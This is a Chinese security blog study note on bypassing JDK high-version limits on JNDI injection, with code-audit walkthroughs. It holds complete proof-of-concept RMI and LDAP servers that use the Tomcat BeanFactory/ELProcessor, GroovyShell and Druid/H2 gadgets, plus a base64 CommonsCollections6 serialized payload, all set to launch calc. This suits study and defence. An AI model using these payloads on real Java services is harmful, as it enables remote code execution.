『Java安全』绕过JDK高版本限制进行JNDI注入学习研究

前言

Java版本8u261

常见绕过的类型

对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在几种方法绕过

  1. 使用受害者本地的类作为恶意Reference Factory攻击RMI
  2. 利用LDAP返回序列化数据触发Gadget

一、寻找本地的类作为恶意工厂攻击RMI

JNDI基础篇提到:对象工厂需要实现javax.naming.spi.ObjectFactory接口的getObjectInstance方法,使用IDEA ctrl+H获取子类
在这里插入图片描述
tomcat-catalina.jar中org.apache.naming.factory.BeanFactory正好符合

探究BeanFactory类

        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.3</version>
        </dependency>


BeanFactory恰好有getObjectInstance(),首先获取传入Reference类的className属性,然后调用无参数的构造方法实例化所指向的类
在这里插入图片描述
实例化成功后,获取Reference的forceString参数,这里类型转换为String,然后按照逗号分割成String数组
在这里插入图片描述
然后对于每一个数组元素:判断是否包含等号,如果包含等号:等号后面作为propName、等号前面作为param(注意这里substring的范围不要看反了);如果没有等号那么加set。

然后向空hashmap添加项目,键为param 值为beanClass中名称是propName的方法
在这里插入图片描述
之后反射调用forced中的方法,这里propName是上面的param,传入的参数是Reference属性名param对应的值。
在这里插入图片描述
不方便理解的话,这里举个例子:forceString赋值a=eval,Reference里面有一个属性a的值是print(),那么最终就会调用beanClass的eval方法,然后传入的参数是字符串print()。

那么接下来就要找到可以RCE的类

Poc

1、javax.el.ELProcessor

		<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-el -->
		<dependency>
		    <groupId>org.apache.tomcat.embed</groupId>
		    <artifactId>tomcat-embed-el</artifactId>
		    <version>8.5.3</version>
		</dependency>

这个类中Tomcat依赖里面,可以通过传参实现RCE
在这里插入图片描述
根据上面的分析编写rmiServer端

package JNDIInjection.HighVer.LocalClass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BeanFactoryRMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        resourceRef.add(new StringRefAddr("forceString", "a=eval"));
        
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
//        resourceRef.add(new StringRefAddr("a", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
        
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("el", referenceWrapper);
        System.out.println("rmi://127.0.0.1:1099/el");
    }
}

如果要多次执行就可以用逗号分隔forceString

resourceRef.add(new StringRefAddr("forceString", "a=eval,b=eval"));

resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"control\")"));
resourceRef.add(new StringRefAddr("b", "Runtime.getRuntime().exec(\"calc\")"));
代码审计

lookup的过程与普通rmi原理一致,直接来到com.sun.jndi.rmi.registry.RegistryContext的decodeObject方法

ResourceRef传给了var8,然后进行是否开启trustURLCodebase的判断
在这里插入图片描述
这里由于三个条件是and关系,一个为假就可以绕过。注意getFactoryClassLocation参数,创建ResourceRef的时候就赋值为空所以可以绕过
在这里插入图片描述
在这里插入图片描述
绕过if来到通过对象工厂实例化对象的函数,这里也跟普通rmi原理一样的
在这里插入图片描述
来到BeanFactory
在这里插入图片描述
新建ELProcessor实例,并且获取forceString字段
在这里插入图片描述
拆分字段,保存键值对
在这里插入图片描述
在这里插入图片描述
遍历Addr,获取到最后一项元素也就是我们自创的键a
在这里插入图片描述
invoke哈希表中键a对应的函数,传参是Addr中属性a对应的字符串值(注意这里出现了两个a)
在这里插入图片描述
之后就是eval了,不再赘述

调用栈

在这里插入图片描述

2、Groovy.lang.GroovyShell

如果有Groovy环境可以使用,调用GroovyShell.evaluate()

        <!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy-all -->
        <dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy-all</artifactId>
            <version>1.5.0</version>
        </dependency>
package JNDIInjection.HighVer.LocalClass.BeanFactory;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyShell;

public class GroovyAllRMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "a=evaluate"));

        resourceRef.add(new StringRefAddr("a", "'calc'.execute()"));
        
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.rebind("groovy", referenceWrapper);
        System.out.println("rmi://127.0.0.1:1099/groovy");
    }
}

3、其他

其他RCE利用Poc可以查阅浅蓝师傅的总结,见引用参考

*DruidDataSourceFactory类

(这里只做简单记录,是复现另一个师傅的方法)

		<!-- https://mvnrepository.com/artifact/com.alibaba/druid -->
		<dependency>
		    <groupId>com.alibaba</groupId>
		    <artifactId>druid</artifactId>
		    <version>1.0.15</version>
		</dependency>

代码审计

在这里插入图片描述
getObjectInstance最下面创建了数据源

创建数据源之前进行了配置,config()应该就是获取数据的过程
在这里插入图片描述
里面有个init来判断是否进行初始化
在这里插入图片描述
init()发起了数据库连接
在这里插入图片描述

在这里插入图片描述

PoC

package JNDIInjection.HighVer.LocalClass.DruidDataSourceFactory;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DruidJDBCRMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1089);
        Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
        String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
                "java.lang.Runtime.getRuntime().exec('calc')\n" +
                "$$\n";
        String JDBC_USER = "root";
        String JDBC_PASSWORD = "password";

        ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
        ref.add(new StringRefAddr("url",JDBC_URL));
        ref.add(new StringRefAddr("username",JDBC_USER));
        ref.add(new StringRefAddr("password",JDBC_PASSWORD));
        ref.add(new StringRefAddr("initialSize","1"));
        ref.add(new StringRefAddr("init","true"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

        registry.bind("druid", referenceWrapper);
        System.out.println("rmi://127.0.0.1/druid is working...");
    }
}

二、LDAP + 反序列化RCE

原理

低版本LDAP通过返回恶意类完成RCE,而高版本ban了远程类加载。

LDAP有一个特殊的字段javaSerializedData,只要设置了它便会给Client端返回序列化串然后被反序列化,只要稍加修改即可绕过版本限制

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", "xxx");
            
            try {
                entry.addAttribute("javaSerializedData", "rO0yy");
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }

javaSerializedData会发送到受害者机器上完成反序列化

PoC

最常用的反序列化RCE就是cc链了,先用ysoserial生成,由于特殊字符要b64一下,直接参考seebug用cc6

java -jar ysoserial.jar CommonsCollections6 "calc"|base64

解码放入entry即可

package JNDIInjection.HighVer.SerializeLdap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class SerializeLdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("127.0.0.1"),
                389,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
        System.out.println("ldap://127.0.0.1:389 is working...");
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", "hahaha");
            
            try {
                entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
                        "cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
                        "H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
                        "cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
                        "nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
                        "Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
                        "bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
                        "Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
                        "cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
                        "LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
                        "AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
                        "cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
                        "cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
                        "bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
                        "O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
                        "cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
                        "AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
                        "AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
                        "AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
                        "AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" +
                        "chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" +
                        "c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" +
                        "eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

在这里插入图片描述

代码审计

追了好几个lookup,到了PartialCompositeContext.class,在这个for循环完成反序列化RCE的
在这里插入图片描述
接着来到ComponentContext.class,又是一个lookup
在这里插入图片描述
LdapCtx.class,这里var4是LDAP服务的entry,第二个属性非空也就是JavaClassName非空即可进入decodeObject

在这里插入图片描述
在这里插入图片描述

来到Obj.class,var1是javaSerializedData属性,如果非空就进行反序列化
在这里插入图片描述
配合cc6就完成了RCE
在这里插入图片描述

调用栈

在这里插入图片描述

引用参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用
探索高版本 JDK 下 JNDI 漏洞的利用方法
JNDI jdk高版本绕过—— Druid

欢迎关注我的CSDN :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123039821
版权声明:如无特别声明,本文即为原创,转载时须注明出处及本声明

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值